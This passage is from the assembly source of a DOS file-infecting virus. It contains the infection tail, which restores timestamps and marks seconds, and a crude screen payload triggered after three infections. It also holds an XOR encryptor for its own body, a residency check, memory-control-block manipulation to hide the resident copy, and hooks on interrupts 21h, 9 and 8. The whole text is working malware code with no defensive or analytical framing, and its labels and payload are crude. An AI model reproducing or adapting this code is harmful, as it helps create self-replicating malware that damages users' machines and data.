  941.         mov     dx,(jump_add-vstart)
  942.  
  943.         int     21h
  944.  
  945.         
  946.  
  947.         jc      cocker
  948.  
  949.  
  950.  
  951.         mov     ax,5701h
  952.  
  953.         mov     word ptr cx,cs:[(old_time-vstart)]  ;Restore old time,date
  954.  
  955.         mov     word ptr dx,cs:[(old_date-vstart)]
  956.  
  957.         
  958.  
  959.         and     cl,0e0H
  960.  
  961.         inc     cl                                  ;change seconds to 2
  962.  
  963.         int     21h                     
  964.  
  965.         
  966.  
  967.  
  968.  
  969.         mov     ah,3eh
  970.  
  971.         int     21h
  972.  
  973.  
  974.  
  975.  
  976.  
  977.         jmp     show_dick
  978.  
  979. cocker: jmp     cocker2
  980.  
  981.          
  982.  
  983.       
  984.  
  985. show_dick:
  986.  
  987.         
  988.  
  989.         cmp     byte ptr cs:[(infect_times-vstart)],03h
  990.  
  991.         jl      cocker
  992.  
  993.         
  994.  
  995.         
  996.  
  997.         
  998.  
  999.         mov     ah,0fh                             ;get current video mode
  1000.  
  1001.         int     010h
  1002.  
  1003.         cmp     al,7                               ;is it a monochrome mode?
  1004.  
  1005.         jz      mono                               ;yes
  1006.  
  1007.         mov     ax,0B800h                          ;color text video segment
  1008.  
  1009.         jmp     SHORT doit
  1010.  
  1011. mono:   mov     ax, 0B000h                         ;monochrome text video segment
  1012.  
  1013. doit:   mov     es,ax
  1014.  
  1015.         
  1016.  
  1017.         push    cs
  1018.  
  1019.         pop     ds
  1020.  
  1021.         mov     si,data-vstart                     ;load destination offset
  1022.  
  1023.         xor     di,di                              ;clear destination index counter
  1024.  
  1025.         mov     cx,(exec-data+1)/2
  1026.  
  1027.         rep     movsw                              ;write to video memory
  1028.  
  1029.               
  1030.  
  1031.         mov     ah,02h                             ;hide cursor
  1032.  
  1033.         mov     bh,0                               ;assume video page 0
  1034.  
  1035.         mov     dx,1A00h                           ;moves cursor past bottom of screen
  1036.  
  1037.         int     010h
  1038.  
  1039.                 
  1040.  
  1041.  
  1042.  
  1043. lup:    mov     ah, 01h    
  1044.  
  1045.         int     016h       
  1046.  
  1047.         jz      lup        
  1048.  
  1049.         mov     ah,0       
  1050.  
  1051.         int     016h
  1052.  
  1053.  
  1054.  
  1055.        ;Clear the screen
  1056.  
  1057.          mov    ah, 6                          ;function 6 (scroll window up)
  1058.  
  1059.          mov    al, 0                          ;blank entire screen
  1060.  
  1061.          mov    bh, 7                          ;attribute to use
  1062.  
  1063.          mov    ch, 0                          ;starting row
  1064.  
  1065.          mov    cl, 0                          ;starting column
  1066.  
  1067.          mov    dh, 25                         ;ending row
  1068.  
  1069.          mov    dl, 80                         ;ending column
  1070.  
  1071.          int    10h                            ;call interrupt 10h
  1072.  
  1073.  
  1074.  
  1075.          mov    ah,02h                         ;puts cursor back where it belongs
  1076.  
  1077.          mov    bh,0                           ;assume video page 0
  1078.  
  1079.          mov    dx,0
  1080.  
  1081.          int    010h
  1082.  
  1083.  
  1084.  
  1085.         
  1086.  
  1087.         
  1088.  
  1089. cocker2:pop     ds
  1090.  
  1091.         pop     es
  1092.  
  1093.         pop     ds
  1094.  
  1095.         pop     si                           ;go back to old int 21
  1096.  
  1097.         pop     di
  1098.  
  1099.         pop     dx
  1100.  
  1101.         pop     cx
  1102.  
  1103.         pop     bx
  1104.  
  1105.         pop     ax
  1106.  
  1107.         
  1108.  
  1109.         jmp    dword ptr cs:[(old_21-vstart)] 
  1110.  
  1111.         
  1112.  
  1113. old_date dw     0
  1114.  
  1115. old_time dw     0
  1116.  
  1117.  
  1118.  
  1119.  
  1120.  
  1121. buffer: db      0cdh,20h,00
  1122.  
  1123. buffer2 db      0,0        
  1124.  
  1125. infect_times:   DB   0h
  1126.  
  1127. jump_add: db    0E9h,00,00,0F2h,42h;
  1128.  
  1129.  
  1130.  
  1131. ;***********************************************************************
  1132.  
  1133. ;***********************************************************************
  1134.  
  1135. ;***********************************************************************
  1136.  
  1137. ;***********************************************************************
  1138.  
  1139. ;***********************************************************************
  1140.  
  1141.         
  1142.  
  1143. exit2:  jmp     exit
  1144.  
  1145. crypter: 
  1146.  
  1147.         push   ax                             ;Encryptor Routine
  1148.  
  1149. loo:    mov    ah,byte ptr cs:[si]            ;move byte into ah
  1150.  
  1151.         xor    ah,0AAh                        ;Xor it
  1152.  
  1153.         mov    byte ptr cs:[si],ah            ;write it back
  1154.  
  1155.         inc    si
  1156.  
  1157.         loop   loo
  1158.  
  1159.         pop     ax
  1160.  
  1161.         ret
  1162.  
  1163.  
  1164.  
  1165.         
  1166.  
  1167. load:   mov     ax,0f242h                       ; Check to see if we are
  1168.  
  1169.         int     21h                             ; allready resident
  1170.  
  1171.         cmp     bx,0242fh                       ; looking for f242 tag
  1172.  
  1173.         je      exit2
  1174.  
  1175.         
  1176.  
  1177.  
  1178.  
  1179.         mov     cx,(old_21-old_9)               ;number of bytes to decrypt
  1180.  
  1181.         mov     si,offset old_9
  1182.  
  1183.         add     si,bp
  1184.  
  1185.         call    crypter
  1186.  
  1187.         
  1188.  
  1189.         mov     cx,(exec-data)                  ;number of bytes to decrypt
  1190.  
  1191.         mov     si,offset data
  1192.  
  1193.         add     si,bp
  1194.  
  1195.         call    crypter
  1196.  
  1197.  
  1198.  
  1199.  
  1200.  
  1201. dec_here:
  1202.  
  1203.         push    cs
  1204.  
  1205.         pop     ds
  1206.  
  1207.  
  1208.  
  1209.         mov     ah,49h                          ;Release current Memory block
  1210.  
  1211.         int     21h
  1212.  
  1213.  
  1214.  
  1215.         mov     ah,48h                          ;Request Hugh size of memory
  1216.  
  1217.         mov     bx,0ffffh                       ;returns biggest size
  1218.  
  1219.         int     21h
  1220.  
  1221.         
  1222.  
  1223.  
  1224.  
  1225.         mov     ah,4ah
  1226.  
  1227.         sub     bx,(vend-vstart+15)/16+1        ;subtract virus size
  1228.  
  1229.         jc      exit2
  1230.  
  1231.         int     21h
  1232.  
  1233.  
  1234.  
  1235.         
  1236.  
  1237.         mov     ah,48h
  1238.  
  1239.         mov     bx,(vend-vstart+15)/16          ;request last XXX pages
  1240.  
  1241.         int     21h                             ;allocate it to virus
  1242.  
  1243.         jc      exit2        
  1244.  
  1245.         
  1246.  
  1247.         dec     ax
  1248.  
  1249.         
  1250.  
  1251.         push    es
  1252.  
  1253.         
  1254.  
  1255.         mov     es,ax
  1256.  
  1257.         
  1258.  
  1259.         mov     byte ptr es:[0],'Z'             ;make DOS the  owner
  1260.  
  1261.         mov     word ptr es:[1],8
  1262.  
  1263.         mov     word ptr es:[3],(vend-vstart+15)/16    ;put size here
  1264.  
  1265.         sub     word ptr es:[12h],(vend-vstart+15)/16  ;sub size from current         
  1266.  
  1267.                                                        ;memory
  1268.  
  1269.         inc     ax
  1270.  
  1271.  
  1272.  
  1273.         
  1274.  
  1275.         lea     si,[bp+offset vstart]       ;copy it to new memory block
  1276.  
  1277.         xor     di,di
  1278.  
  1279.         mov     es,ax
  1280.  
  1281.         mov     cx,(vend-vstart+5)/2
  1282.  
  1283.         cld
  1284.  
  1285.         rep     movsw
  1286.  
  1287.  
  1288.  
  1289.         
  1290.  
  1291.         
  1292.  
  1293.         xor     ax,ax        
  1294.  
  1295.         mov     ds,ax
  1296.  
  1297.         push    ds
  1298.  
  1299.         lds     ax,ds:[21h*4]                        ;swap vectors manually
  1300.  
  1301.         mov     word ptr es:[old_21-vstart],ax
  1302.  
  1303.         mov     word ptr es:[old_21-vstart+2],ds
  1304.  
  1305.         pop     ds
  1306.  
  1307.         mov     word ptr ds:[21h*4],(new_21-vstart)
  1308.  
  1309.         mov     ds:[21h*4+2],es
  1310.  
  1311.  
  1312.  
  1313.         
  1314.  
  1315.  
  1316.  
  1317.         xor     ax,ax        
  1318.  
  1319.         mov     ds,ax
  1320.  
  1321.         push    ds
  1322.  
  1323.         lds     ax,ds:[9h*4]
  1324.  
  1325.         mov     word ptr es:[old_9-vstart],ax
  1326.  
  1327.         mov     word ptr es:[old_9-vstart+2],ds
  1328.  
  1329.         pop     ds
  1330.  
  1331.         mov     word ptr ds:[9h*4],(new_9-vstart)
  1332.  
  1333.         mov     ds:[9h*4+2],es
  1334.  
  1335.  
  1336.  
  1337.         
  1338.  
  1339.  
  1340.  
  1341.         xor     ax,ax        
  1342.  
  1343.         mov     ds,ax
  1344.  
  1345.         push    ds
  1346.  
  1347.         lds     ax,ds:[8h*4]
  1348.  
  1349.         mov     word ptr es:[old_8-vstart],ax
  1350.  
  1351.         mov     word ptr es:[old_8-vstart+2],ds
  1352.  
  1353.         pop     ds
  1354.  
  1355.         mov     word ptr ds:[8h*4],(new_8-vstart)
  1356.  
  1357.         mov     ds:[8h*4+2],es
  1358.  
  1359.  
  1360.  
  1361.  
  1362.  
  1363.         push    cs
  1364.  
  1365.         pop     ds
  1366.  
  1367.  
  1368.  
  1369.  
  1370.  
  1371. exit:   
  1372.  
  1373.         push    cs
  1374.  
  1375.         pop     es
  1376.  
  1377.  
  1378.  
  1379.         
  1380.  
  1381.        ; now got to copy it back...... 
  1382.  
  1383.        
  1384.  
  1385.  
  1386.  
  1387.         mov     cx,5
  1388.  
  1389.         mov     si,offset buffer                ;copy it back and run original
  1390.  
  1391.         add     si,bp                           ;program
  1392.  
  1393.         mov     di,100h
  1394.  
  1395.         repne   movsb
  1396.  
  1397.  
  1398.  
  1399.         mov     bp,100h
  1400.  
  1401.         jmp     bp
  1402.  
  1403.  
  1404.  
  1405.  
  1406.  
  1407. vend    equ     $
  1408.  
  1409.  
  1410.  
  1411. seg_a        ends
  1412.  
  1413.         end     start
  1414.  
  1415.  
  1416.  
  1417.  
  1418.  
  1419.  
  1420.  
  1421.  
  1422.  
  1423.         
  1424.  
  1425.         
  1426.  
  1427.         
  1428.  
  1429.  
  1430.  
  1431.  
  1432.  
  1433.